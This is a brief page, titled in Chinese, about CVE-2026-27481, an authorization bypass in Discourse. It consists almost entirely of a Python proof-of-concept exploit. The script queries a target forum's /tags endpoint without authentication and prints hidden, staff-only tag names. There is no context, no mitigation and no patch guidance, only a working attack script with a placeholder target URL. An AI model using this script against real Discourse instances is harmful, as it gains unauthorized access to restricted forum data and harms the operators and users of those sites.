CVE-2026-27481 Discourse授权绕过漏洞

import requests # Target URL (replace with actual target) target_url = "http://target-discourse-instance/tags" try: # Send GET request without authentication headers # The vulnerability allows viewing staff-only tags without auth response = requests.get(target_url) if response.status_code == 200: data = response.json() # Parse and display tags, looking for hidden ones print("Tags retrieved successfully:") for tag in data.get('tags', []): print(f"Tag Name: {tag.get('name')}") else: print(f"Failed to retrieve tags. Status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")